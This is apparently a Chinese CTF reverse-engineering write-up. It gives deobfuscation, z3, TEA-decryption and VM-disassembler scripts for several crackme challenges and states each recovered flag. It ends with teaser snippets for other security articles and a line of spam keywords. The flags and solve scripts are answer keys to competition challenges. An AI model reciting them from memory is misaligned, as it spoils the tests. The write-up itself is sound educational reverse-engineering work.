    while ea < end_ea:
        myblock = get_block(ea)
        print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code)))
        get_real_code(myblock)
        count += 1
        ea = myblock.end_ea
        if myblock.call_target not in funs:
            funs.append(myblock.call_target)
    print ('count=%d' %count)
    #for i in range(new_code_ea, new_code_ea+len(new_code)):
    #    del_items(i)
    ea = 0x48C8
    end_ea = 0x48F3
    while ea < end_ea:
        myblock = get_block(ea)
        print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code)))
        get_real_code(myblock)
        ea = myblock.end_ea
    ida_bytes.patch_bytes(new_code_ea, new_code+b'\xc3')
    '''
    for fun in funs:
        print ('fun=%x' %fun)
    print (len(funs))
    print ('finish')
    '''
    

    去混淆后的 idb

    basic 部分:

    是一個方程組直接上 z3

    from z3 import *
    flag = [BitVec('x%d' % i, 8) for i in range(28)]
    s = Solver()
    v5 = 40085 * flag[3]- 222506 * flag[2]+ 54507 * flag[4]+ 88056 * flag[1]+ 212571 * flag[5]- 160722 * flag[0]-0x6A31D
    s.add(v5==0)
    v5 = 49300 * flag[3]+ 259229 * flag[0]+ 278066 * flag[2]- 127937 * flag[1]- 295169 * flag[4]- 8368677
    s.add(v5==0)
    v5 = 42214 * flag[1]- 108025 * flag[3]+ 205972 * flag[0]+ 27559 * flag[2]- 17114904
    s.add(v5==0)
    v5 = - 151496 * flag[1]+ 204740 * flag[0]+ 80143 * flag[2]- 12295783
    s.add(v5==0)
    v5 = 241935 * flag[1]+ 124128 * flag[0]- 38790036+ 273221 * flag[0]- 27868542
    s.add(v5==0)
    v6 = -279656 * flag[2]- 199574 * flag[1]- 258130 * flag[8]- 200399 * flag[3]- 173903 * flag[7]+ 175816 * flag[0]- 234569 * flag[6]- 108273 * flag[4]- 222957 * flag[5]+ 128244179
    s.add(v6==0)
    v6 = - 81541 * flag[1]- 268763 * flag[0]+ 219073 * flag[3]+ 34782 * flag[6]+ 21153 * flag[5]+ 173005 * flag[7]+ 76285 * flag[4]+ 32825 * flag[2]- 13874925
    s.add(v6==0)
    v6 = 85214 * flag[2]- 268299 * flag[3]- 230981 * flag[1]+ 290772 * flag[5]- 74394 * flag[4]+ 28044 * flag[6]- 242995 * flag[0]+ 50871139
    s.add(v6==0)
    v7 = -208564 * flag[0] + 81934 * flag[9] - 106641 * flag[7] + 198477 * flag[2] + 154505 * flag[1] + 48440 * flag[5] - 149004 * flag[3] - 108909 * flag[4] - 51714 * flag[10] - 296420 * flag[8] + 263021 * flag[6] + 688726 
    s.add(v7==0)
    v7 = - 131130 * flag[2] + 224265 * flag[3] + 230702 * flag[0] - 176285 * flag[7] - 274778 * flag[4] + 103848 * flag[8] - 136039 * flag[9] - 241151 * flag[5] + 15542 * flag[6] - 17521 * flag[1] + 41644083
    s.add(v7==0)
    v8 = 195056 * flag[4]- 15717 * flag[9]- 180214 * flag[6]- 114427 * flag[5]+ 277782 * flag[7]+ 261379 * flag[8]- 225266 * flag[2]+ 107609 * flag[0]+ 259792 * flag[3]+ 270563 * flag[11]+ 205124 * flag[1]+ 138334 * flag[10]+ 103474 * flag[12]- 117027475
    s.add(v8==0)
    v8 = 189573 * flag[8]+ 64393 * flag[6]+ 231137 * flag[1]+ 145315 * flag[4]- 53938 * flag[10]- 291345 * flag[5]+ 216413 * flag[3]- 204681 * flag[0]- 65519 * flag[9]- 262826 * flag[2]+ 187002 * flag[7]+ 271732 * flag[11]- 38663722
    s.add(v8==0)
    v9 = 15645 * flag[13] + 276267 * flag[12] + 31190 * flag[5] - 244002 * flag[2] + 81415 * flag[3] - 22940 * flag[10] - 126076 * flag[7] + 8932 * flag[8] + 112153 * flag[4] + 194218 * flag[11] + 197656 * flag[9] - 204463 * flag[0] - 219500 * flag[1] + 19777 * flag[6] - 24531260
    s.add(v9==0)
    v10 = 279969 * flag[8]- 123977 * flag[4]+ 162094 * flag[0]- 215769 * flag[1]- 18878 * flag[14]- 80292 * flag[11]- 237675 * flag[5]- 222121 * flag[6]+ 269381 * flag[12]+ 153934 * flag[13]- 165380 * flag[10]- 157137 * flag[2]- 186748 * flag[3]+ 170756 * flag[7]- 186932 * flag[9]+ 87264470
    s.add(v10==0)
    v11 = -87190 * flag[2]- 74836 * flag[1]+ 16892 * flag[9]- 185781 * flag[8]- 12726 * flag[7]+ 85022 * flag[12]+ 232989 * flag[10]+ 68516 * flag[0]- 120254 * flag[6]- 204892 * flag[5]- 65901 * flag[4]- 201087 * flag[13]+ 158612 * flag[11]- 49445 * flag[3]- 181860 * flag[14]- 111015 * flag[15]+ 43646834
    s.add(v11==0)
    v12 = -170184 * flag[3] - 137671 * flag[4] - 85374 * flag[9] - 73658 * flag[11] + 230891 * flag[13] + 54346 * flag[15] - 280694 * flag[0] + 60411 * flag[2] + 27171 * flag[7] - 50618 * flag[6] + 11843 * flag[10] + 131778 * flag[5] + 13956 * flag[8] - 42562 * flag[12] - 19972 * flag[1] - 145797 * flag[14] - 58717 * flag[16] + 74613584
    s.add(v12==0)
    v13 = 242475 * flag[16]- 234385 * flag[0]+ 124653 * flag[2]- 287929 * flag[13]- 190916 * flag[12]- 277578 * flag[11]+ 39 * flag[8]- 41625 * flag[6]+ 67262 * flag[5]- 250144 * flag[9]- 70886 * flag[10]- 223492 * flag[15]- 179651 * flag[7]+ 206538 * flag[17]+ 161965 * flag[3]- 146258 * flag[4]+ 167068 * flag[1]+ 196330 * flag[14]+ 76353817
    s.add(v13==0)
    v14 = 29700 * flag[18]- 60542 * flag[5]+ 274107 * flag[11]+ 154914 * flag[13]- 143185 * flag[12]+ 167424 * flag[2]+ 137439 * flag[8]- 186151 * flag[10]- 77157 * flag[9]- 233090 * flag[6]- 27400 * flag[7]- 76557 * flag[15]- 108002 * flag[17]+ 103161 * flag[14]- 133956 * flag[1]- 219502 * flag[4]- 202897 * flag[0]- 250957 * flag[3]- 119297 * flag[16]+ 100812197
    s.add(v14==0)
    v15 = -171971 * flag[9]+ 38740 * flag[4]+ -31661 * flag[10]+ -194653 * flag[18]+ -295910 * flag[16]+ 136489 * flag[12]+ 212619 * flag[17]+ 165592 * flag[11]+ 211791 * flag[1]+ 156909 * flag[2]+ -232187 * flag[8]+ -73709 * flag[7]+ 79735 * flag[14]+ 184882 * flag[13]+ 111105 * flag[6]+ 148840 * flag[3]+ -35774 * flag[19]+ -275711 * flag[0] + 135265 * flag[5] - 141221 * flag[15] - 39117122
    s.add(v15==0)
    v16 = -186514 * flag[17]+ -7791 * flag[2]+ 276755 * flag[11]+ -294815 * flag[14]+ -238763 * flag[15]+ -146099 * flag[5]+ 184977 * flag[16]+ 178413 * flag[1]+ 287303 * flag[3]+ -71946 * flag[10]+ -73771 * flag[9]+ -129032 * flag[18]+ 200202 * flag[20]+ -150509 * flag[6]+ -156625 * flag[13]+ 14093 * flag[7]+ 192584 * flag[12]- 122770 * flag[0]- 255494 * flag[8] + 65 * flag[4] - 108479 * flag[19] + 13521895
    s.add(v16==0)
    v17 = 210978 * flag[7]+ 300336 * flag[10]+ 207254 * flag[15]+ 216206 * flag[5]+ -63529 * flag[0]+ -274903 * flag[11]+ -10750 * flag[14]+ 25008 * flag[4]+ -100942 * flag[19]+ -104857 * flag[2]+ 266501 * flag[8]+ 229070 * flag[17]+ -234559 * flag[16]+ 298459 * flag[3]+ -172052 * flag[6]+ -98938 * flag[12]+ 66155 * flag[13]+ -84761 * flag[1]+ -283508 * flag[18]+ 288577 * flag[21] - 75407 * flag[20] - 204447 * flag[9] + 4351595
    s.add(v17==0)
    v18 = -201846 * flag[14]+ 272550 * flag[20]+ 60398 * flag[6]+ 45580 * flag[7]+ 195108 * flag[11]+ 38596 * flag[0]+ 220445 * flag[18]+ -190873 * flag[15]+ 103477 * flag[9]+ 118842 * flag[19]+ 206336 * flag[10]+ -249940 * flag[17]+ -48084 * flag[21]+ 104901 * flag[5]+ -48576 * flag[4]+ 287104 * flag[16]+ -286686 * flag[1]+ -30253 * flag[22]+ 121183 * flag[3]+ 90967 * flag[2]+ -195519 * flag[12] - 129304 * flag[8] + 141188 * flag[13] - 56642147
    s.add(v18==0)
    v19 = 110609 * flag[4]+ 5913 * flag[21]+ -197578 * flag[7]+ 45127 * flag[18]+ 282426 * flag[13]+ -71019 * flag[16]+ -6980 * flag[11]+ 208216 * flag[15]+ -13544 * flag[20]+ 17852 * flag[8]+ 167833 * flag[12]+ 145568 * flag[17]+ 3610 * flag[19]+ 91985 * flag[1]+ -267402 * flag[5]+ -32355 * flag[14]+ -197823 * flag[23]+ 135525 * flag[2]+ -229424 * flag[22]+ 38093 * flag[10]+ 50167 * flag[6]+ 118713 * flag[9] + 123874 * flag[0] - 89499 * flag[3] - 43090537
    s.add(v19==0)
    v1 = -164755 * flag[9] + 175470 * flag[8] - 28660 * flag[1] + 7217 * flag[11] - 295102 * flag[4] - 28531 * flag[19] - 106265 * flag[25] - 92750 * flag[10] + 16738 * flag[21] - 231714 * flag[6] + 172042 * flag[24] - 215890 * flag[17] + 199697 * flag[12] - 84235 * flag[7] + 44614 * flag[13] + 75104 * flag[5] - 195843 * flag[0] - 15784 * flag[14] - 131950 * flag[15] - 268167 * flag[16] - 197565 * flag[20] + 24340 * flag[23] + 105130 * flag[2] - 79750 * flag[22] - 264668 * flag[3] + 50329 * flag[18] + 137774797
    s.add(v1==0)
    v20 = 62119 * flag[17]- 17215 * flag[24]+ 289621 * flag[18]+ 53006 * flag[20]+ 95969 * flag[11]+ 202404 * flag[0]+ 247060 * flag[21]+ 144211 * flag[19]+ 280106 * flag[7]- 126431 * flag[10]- 226837 * flag[12]+ 10463 * flag[23]+ 121257 * flag[13]- 84190 * flag[9]+ 88917 * flag[1]+ 15453 * flag[14]+ 271442 * flag[4]+ 110851 * flag[3]- 231422 * flag[5]+ 176741 * flag[22]+ 266134 * flag[2]- 197327 * flag[6]- 55225 * flag[8] - 265465 * flag[15] + 119612 * flag[16] - 98514358
    s.add(v20==0)
    v2 = 151924 * flag[25] - 265311 * flag[6] + 107604 * flag[11] - 47851 * flag[24] + 227178 * flag[13] - 162699 * flag[2] + 2171 * flag[20] + 211070 * flag[23] + 94815 * flag[22] + 124760 * flag[16] + 41462 * flag[19] - 277022 * flag[15] - 62501 * flag[26] - 17727 * flag[14] - 257908 * flag[4] - 175112 * flag[21] + 8972 * flag[10] - 71801 * flag[8] - 114724 * flag[5] - 252898 * flag[9] + 161457 * flag[1] - 64461 * flag[0] - 111493 * flag[18] + 200145 * flag[17] - 290075 * flag[3] + 158466 * flag[12]
    v21 = v2 - 275262 * flag[7] + 86899519
    s.add(v21==0)
    v3 = 142850 * flag[18]- 166704 * flag[1]+ 284852 * flag[22]+ 248972 * flag[7]- 76200 * flag[17]+ 261708 * flag[19]+ 91911 * flag[24]+ 22347 * flag[3]+ 76006 * flag[21]+ 256511 * flag[6]- 100052 * flag[14]- 115830 * flag[2]- 93202 * flag[23]+ 248858 * flag[12]- 262669 * flag[10]+ 67895 * flag[5]- 111771 * flag[8]- 132193 * flag[11]- 141512 * flag[13]+ 139406 * flag[27]+ 109646 * flag[16]- 286309 * flag[9]+ 175476 * flag[15] + 138067 * flag[20] + 192825 * flag[25]
    s.add(flag[0] == 102)
    s.add(flag[1] == 108)
    s.add(flag[2] == 97)
    s.add(flag[3] == 103)
    s.add(flag[4] == 123)
    s.add(flag[27] == 125)
    s.add(199577 * flag[0] - 63091 * flag[4] + v3 - 285207 * flag[26] - 58820340 + v21 == 0)
    print(s.check())
    print(s.model())
    mod = s.model()
    print(''.join([chr(mod[x].as_long()) for x in flag]))
    

    解出來為 flag{U_90t_th3_8451c_53cre7}

    easyapk

    先拿 d810 去混淆, 接著調試分析邏輯

    先解密這一段 tea

    #include <stdio.h>
    #include <stdint.h>
    //加密函數
    void encrypt(uint32_t* v, uint32_t* k) {
        uint32_t v0 = v[0], v1 = v[1], sum = 0, i;           /* set up */
        uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
        uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
        for (i = 0; i < 32; i++) {                       /* basic cycle start */
            sum += delta;
            v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
            v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        }                                              /* end cycle */
        v[0] = v0; v[1] = v1;
    }
    //解密函數
    void decrypt(uint32_t* v, uint32_t* k) {
        uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;  /* set up */
        uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
        uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
        for (i = 0; i < 32; i++) {                         /* basic cycle start */
            v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
            v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
            sum -= delta;
        }                                              /* end cycle */
        v[0] = v0; v[1] = v1;
    }
    int main()
    {
        //{0x5585A199, 0x7E825D68, 0x944D0039, 0x71726943, 0x6A514306, 0x4B14AD00, 0x64D20D3F, 0x9F37DB15};
        uint32_t v[2] = { 0x5D94AA84, 0x14FA24A0 }, k[4] = { 0x33323130, 0x37363534, 0x62613938 ,0x66656463 };
        uint32_t v1[2] = { 0x2B560210, 0xB69BDD49 };
        uint32_t v2[2] = { 0xAAEFEAD4, 0x4B8CF4C6 };
        uint32_t v3[2] = { 0x97FB8C9, 0xB5EC51D2 };
        // v為要加密的數據是兩個32位無符號整數
        // k為加密解密密鑰,為4個32位無符號整數,即密鑰長度為128位
        //加密示例
       // encrypt(v, k);
      //  printf("加密后的數據:%x %x\n",v[0],v[1]);
        decrypt(v, k);
        decrypt(v1, k);
        decrypt(v2, k);
        decrypt(v3, k);
        printf("解密后的數據:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]);
        return 0;
    }
    

    都是可見 ascil,猜測前面經過了 rot13 加密,在線解密一下

    find_middle

    之后進行常規的 vm 逆向

    from pwn import *
    f = open('./machine.cfg', 'rb')
    d = f.read()
    f.close()
    vpc = 0
    def get_byte():
        global d, vpc
        ret = d[vpc]
        vpc += 1
        return ret
    def get_dword():
        global d, vpc
        ret = u32(d[vpc:vpc+4])
        vpc += 4
        return ret
    def get_next_vpc():
        global vpc
        if vpc == 0xbd4:
            vpc = 0xbe0
        if vpc == 0xbf1:
            vpc = 0xbfd
        if vpc == 0xc20:
            vpc = 0xc28
        if vpc == 0xbaa:
            vpc = 0xbb5
        if vpc == 0x5bb:
            vpc = 0x5ce
        if vpc == 0xc54:
            vpc = 0xc61
        if vpc == 0xc6c:
            vpc = 0xc78
        if vpc == 0xad0:
            vpc = 0xadf
        if vpc == 0xafa:
            vpc = 0xb04
        if vpc == 0xb24:
            vpc = 0xb2a
        if vpc == 0xb4c:
            vpc = 0xb58
        if vpc == 0xb79:
            vpc = 0xb8c
        if vpc == 0x91:
            vpc = 0x99
        if vpc == 0xc6:
            vpc = 0xcf
        if vpc == 0xfb:
            vpc = 0x105
        if vpc == 0x163:
            vpc = 0x16b
        if vpc == 0x182:
            vpc = 0x18f
        if vpc == 0x349:
            vpc = 0x354
        if vpc == 0x3d9:
            vpc = 0x3e0
        if vpc == 0x7ed:
            vpc = 0x7f9
        if vpc == 0x5f5:
            vpc = 0x601
        if vpc == 0x613:
            vpc = 0x625
        if vpc == 0x1e1:
            vpc = 0x1e9
        if vpc == 0x4f5:
            vpc = 0x503
        if vpc == 0x522:
            vpc = 0x534
        if vpc == 0x54b:
            vpc = 0x557
        if vpc == 0x571:
            vpc = 0x585
        if vpc == 0x649:
            vpc = 0x65c
        if vpc == 0x694:
            vpc = 0x6a3
        if vpc == 0x6b4:
            vpc = 0x6c8
        if vpc == 0x6e3:
            vpc = 0x6ed
        if vpc == 0x71b:
            vpc = 0x72d
        if vpc == 0x776:
            vpc = 0x784
        if vpc == 0x7a5:
            vpc = 0x7ac
        if vpc == 0x7c9:
            vpc = 0x7d6
        if vpc == 0x832:
            vpc = 0x83b
        if vpc == 0x864:
            vpc = 0x86f
        if vpc == 0x8a8:
            vpc = 0x8b9
        if vpc == 0x222:
            vpc = 0x236
        if vpc == 0x24d:
            vpc = 0x25a
        if vpc == 0x28b:
            vpc = 0x29d
        if vpc == 0x2ce:
            vpc = 0x2e0
        if vpc == 0x1b3:
            vpc = 0x1bc
        if vpc == 0x30c:
            vpc = 0x31f
        if vpc == 0x416:
            vpc = 0x429
        if vpc == 0x456:
            vpc = 0x461
        if vpc == 0x47b:
            vpc = 0x48b
        if vpc == 0x4bd:
            vpc = 0x4cb
        if vpc == 0x8e1:
            vpc = 0x8f4
        if vpc == 0x915:
            vpc = 0x925
        if vpc == 0x944:
            vpc = 0x954
        if vpc == 0x97a:
            vpc = 0x98d
        if vpc == 0x9b5:
            vpc = 0x9be
        if vpc == 0x9db:
            vpc = 0x9ee
        if vpc == 0x9fb:
            vpc = 0xa05
        if vpc == 0xa19:
            vpc = 0xa2b
        if vpc == 0xa48:
            vpc = 0xa4e
        if vpc == 0xa55:
            vpc = 0xa6a
        if vpc == 0xa88:
            vpc = 0xa8f
        if vpc == 0xab9:
            vpc = 0xac6
        if vpc == 0xc90:
            vpc = 0xc9d
        if vpc == 0xcb5:
            vpc = 0xcc9
        if vpc == 0xce4:
            vpc = 0xcf6
        if vpc == 0xd1e:
            vpc = 0xd25
        if vpc == 0xd47:
            vpc = 0xd58
    def dis_one_fun(pc, end_pc=None):
        print ('void fun_%x(){' %pc)
        global vpc
        vpc = pc
        while True:
            if end_pc:
                if vpc >= end_pc:
                    break
            get_next_vpc()
            pc = vpc
            opcode = get_byte()
            opsize = (opcode>>6)&3
            opcode = opcode&0x3f
            if opcode == 0x13:
                r1 = get_byte()
                if opsize == 0:
                    r2 = get_byte()
                    print ('label_%x: r%d=r%d;' %(pc, r1, r2))
                else:
                    imm = get_dword()
                    print ('label_%x: r%d=0x%x;' %(pc, r1, imm))
            elif opcode == 0xc:
                r1 = get_byte()
                if opsize == 0:
                    r2 = get_byte()
                    print ('label_%x: r%d-=r%d;' %(pc, r1, r2))
                else:
                    imm = get_dword()
                    print ('label_%x: r%d-=0x%x;' %(pc, r1, imm))
            elif opcode == 0x17:
                r1 = get_byte()
                if opsize == 0:
                    r2 = get_byte()
                    print('label_%x: r%d+=r%d;' % (pc, r1, r2))
                else:
                    imm = get_dword()
                    print('label_%x: r%d+=0x%x;' % (pc, r1, imm))
            elif opcode == 0:
                r1 = get_byte()
                print('label_%x: push(r%d);' % (pc, r1))
            elif opcode == 0x15:
                r1 = get_byte()
                print('label_%x: r%d += 1;' % (pc, r1))
            elif opcode == 0x14:
                r1 = get_byte()
                print('label_%x: r%d -= 1;' % (pc, r1))
            elif opcode == 0x10:
                imm = get_dword()
                if opsize == 0:
                    print('label_%x: goto label_%x;' % (pc, imm))
                elif opsize == 1:
                    print('label_%x: if(r13 == 0) goto label_%x;' % (pc, imm))
                elif opsize == 2:
                    print('label_%x: if(r13 != 0) goto label_%x;' % (pc, imm))
                elif opsize == 3:
                    print('label_%x: if(r13 < 0) goto label_%x;' % (pc, imm))
            elif opcode == 0xb:
                r1 = get_byte()
                if opsize == 0:
                    print('label_%x: goto r%d;' % (pc, r1))
                elif opsize == 1:
                    print('label_%x: if(r13 == 0) goto r%d;' % (pc, r1))
                elif opsize == 2:
                    print('label_%x: if(r13 != 0) goto r%d;' % (pc, r1))
                elif opsize == 3:
                    print('label_%x: if(r13 < 0) goto r%d;' % (pc, r1))
            elif opcode == 0x7:
                if opsize == 0:
                    r1 = get_byte()
                    print('label_%x: call r%d;' % (pc, r1))
                else:
                    imm = get_dword()
                    print('label_%x: fun_%x();' % (pc, imm))
            elif opcode == 0xe:
                r1 = get_byte()
                r2 = get_byte()
                print('label_%x: r13 = r%d & r%d;' % (pc, r1, r2))
            elif opcode == 5:
                r1 = get_byte()
                if opsize == 0:
                    r2 = get_byte()
                    print('label_%x: r13 = r%d - r%d;' % (pc, r1, r2))
                else:
                    imm = get_dword()
                    print('label_%x: r13 = r%d - 0x%x;' % (pc, r1, imm))
            elif opcode == 0x11:
                r1 = get_byte()
                if opsize == 0:
                    r2 = get_byte()
                    print('label_%x: r%d^=r%d;' % (pc, r1, r2))
                else:
                    imm = get_dword()
                    print('label_%x: r%d^=0x%x;' % (pc, r1, imm))
            elif opcode == 1:
                r1 = get_byte()
                if opsize == 0:
                    r2 = get_byte()
                    print('label_%x: r%d |=r%d;' % (pc, r1, r2))
                else:
                    imm = get_dword()
                    print('label_%x: r%d |=0x%x;' % (pc, r1, imm))
            elif opcode == 0x12:
                r1 = get_byte()
                r2 = get_byte()
                if opsize == 0:
                    print('label_%x: r%d=*(unsigned char*)&mem[r%d];' % (pc, r1, r2))
                elif opsize == 1:
                    print('label_%x: r%d=*(unsigned short*)&mem[r%d];' % (pc, r1, r2))
                elif opsize == 2:
                    print('label_%x: r%d=*(unsigned int*)&mem[r%d];' % (pc, r1, r2))
            elif opcode == 3:
                r1 = get_byte()
                print('label_%x: r%d = pop();' % (pc, r1))
            elif opcode == 0xa:
                print('label_%x: return;' % (pc))
                if end_pc is None:
                    break
            elif opcode == 9:
                r1 = get_byte()
                if opsize == 0:
                    print ('label_%x: putchar(r%d);' %(pc, r1))
                elif opsize == 1:
                    print('label_%x: printf("%%d", r%d);' % (pc, r1))
                elif opsize == 2:
                    print('label_%x: printf("%%08x", r%d);' % (pc, r1))
                elif opsize == 3:
                    print('label_%x: putchar(mem[r%d]);' % (pc, r1))
            elif opcode == 2:
                r1 = get_byte()
                if opsize == 0:
                    print('label_%x: scanf("%%x", &r%d);' % (pc, r1))
                elif opsize == 1:
                    print('label_%x: scanf("%%d", &r%d);' % (pc, r1))
                elif opsize == 2:
                    print('label_%x: scanf("%%x", &r%d);' % (pc, r1))
                elif opsize == 3:
                    print('label_%x: scanf("%%c", &mem[r%d]);' % (pc, r1))
            elif opcode == 6:
                r1 = get_byte()
                r2 = get_byte()
                print ('label_%x: mem[r%d]=r%d;' %(pc, r1, r2))
            elif opcode == 4:
                pass
            elif opcode == 0x16:
                print ('label_%x: exit(0);' %pc)
                break
            else:
                print ('op=%x, pc=%x' %(opcode, vpc-1))
                print (hex(len(d)))
                raise 0
        print ('}')
    print ('#include <stdio.h>')
    print ('#include <stdlib.h>')
    for i in range(14):
        print ('unsigned int r%d = 0;' %i)
    print ('unsigned char mem[0x6000];')
    print ('''void push(unsigned int r1){
        r12 -= 4;
        *(unsigned int*)&mem[r12] = r1;
    }
    unsigned int pop()
    {
        unsigned int ret = *(unsigned int*)&mem[r12];
        r12 += 4;
        return ret;
    }
    ''')
    funs = [0, 0xb3, 0x192, 0x339, 0x406, 0x5d6, 0x62b, 0x6f8, 0x746, 0x785, 0x7d7, 0x7e5, 0x811, 0x844, 0xc8b, 0xd71, 0xd91, 0xc39, 0x4dd, 0xb92]
    for fun in funs:
        print ('void fun_%x();' %fun)
    dis_one_fun(0)
    dis_one_fun(0xb3)
    dis_one_fun(0x192, 0x339)
    dis_one_fun(0x339)
    dis_one_fun(0x406)
    dis_one_fun(0x5d6)
    dis_one_fun(0x62b)
    dis_one_fun(0x6f8)
    dis_one_fun(0x746)
    dis_one_fun(0x785)
    dis_one_fun(0x7d7)
    dis_one_fun(0x7e5)
    dis_one_fun(0x811, 0x844)
    dis_one_fun(0x844)
    dis_one_fun(0xc8b)
    dis_one_fun(0xd71, 0xd91)
    dis_one_fun(0xd91)
    dis_one_fun(0xc39)
    dis_one_fun(0x4dd)
    dis_one_fun(0xb92)
    print('''
    void main(){
    FILE * fp = fopen("./machine.cfg", "rb");
    fread(mem, 0x4534, 1, fp);
    fclose(fp);
    fun_0();
    }''')
    

    逆向分析 vm 邏輯,解出 flag{I_f1nd_th3_r34l_s3cr3t}

    gamemaster

    .net 程序,拿軟件打開分析發現有 xor 和 aes

    把 message 文件在線解密一下

    之后發現里面有一塊程序

    dump 出來發現是一個 .net 程序 打開發現 check 的代碼很清晰

    下面是解密腳本:

    from z3 import *
    flag = [BitVec('x%d' % i, 64) for i in range(3)]
    s = Solver()
    num = 0
    first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20, 145,37, 24, 7,  22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5]
    KeyStream = [0 for i in range(40)]
    for i in range(0,320):
        flag[0] = (((flag[0] >> 29 ^ flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) | flag[0] << 1)
        flag[1] = (((flag[1] >> 30 ^ flag[1] >> 27) & 1) | flag[1] << 1)
        flag[2] = (((flag[2] >> 31 ^ flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2] >> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1)
        KeyStream[num] = (KeyStream[num] << 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 & 1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 & 1)))
        if (i+1) % 8 == 0:
            s.add(first[num] == KeyStream[num])
            # print(KeyStream[num])
            num += 1
    print(s.check())
    print(s.model())
    [ x0 = 156324965, x1 = 868387187, x2 = 3131229747]
    array = [156324965, 868387187,  3131229747]
    key = [0 for i in range(12)]
    for i in range(3):
        for j in range(4):
            key[4*i+j] = array[i] >> j * 8 & 255
    s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
    for i in range(len(s)):
        print(s[i]^key[i%len(key)],end='')
    # Y0u_@re_G3meM3s7er!
    
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    -WriteUp
    2022-08-02 08:02:30
    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag
    以上兩種代理方式雖均能實現內穿透的目的,但是代理質量相對來說并不穩定,難以滿足內滲透的需求。FRP反向代理 FRP 的 中文官方文檔 可了解其作用和用法。
    前言感謝前些天D^3CTF的lonely_server出題人,這題很有意思第一次遇見擬態題是在,雖然只是簡單入門級別的棧溢出,但當時一臉懵逼,完全不了解擬態防御機制。這對需要泄露動態加載庫地址、堆地址、程序基址的方法是扼住咽喉的一個防御方式,使得目標系統的安全性大幅度提升。而要突破這種防御機制,也不是沒有辦法,可以采用逐字節爆破、partial write等技巧不泄露信息來getshell。
    8月21日,為期兩天的第六屆“”全國網絡安全挑戰賽線下賽圓滿結束。從32支戰隊中脫穎而出,長亭科技0x300R 戰隊最終斬獲特等獎—亞軍,同時作為線下賽總積分排名最高的企業戰隊,獲評“最佳企業戰隊”榮譽稱號。最終長亭0x300R戰隊以僅300分的差距將亞軍收入囊中。
    11月11日至12日,廣東省第四屆“”網絡安全大賽決賽在廣州舉行,標志著今年大賽圓滿收官。本次大賽分為團隊賽和個人賽兩種形式,超1000支隊伍報名參加,參賽規模創歷屆之最。
    本次大賽主要面向黨政機關及事業單位、高等院校、關鍵信息基礎設施運營企業等,采用“線上初賽+線下決賽”形式,分為個人賽和團隊賽。各參賽隊伍可通過大賽官自主報名,報名截止時間為2021年10月7日17時。
    為深入貫徹習近平總書記關于網絡強國的重要思想,發掘和培育網絡安全領域優秀人才,推動網絡安全人才培養、技術創新、產業發展,助力網絡省建設,廣東省委信辦聯合廣東省教育廳、廣東省科學技術廳、廣東省工業和信息化廳、廣東省公安廳、廣東省通信管理局、廣東省政務服務數據管理局舉辦廣東省第四屆“”網絡安全大賽,于近日正式啟動。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    安恒信息董事長范淵作為唯一企業代表受邀參加主論壇演講。
    天融信科技集團董事長兼CEO李雪瑩博士應邀出席“論壇”,與眾多業內專家、學者共話網絡空間安全問題。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类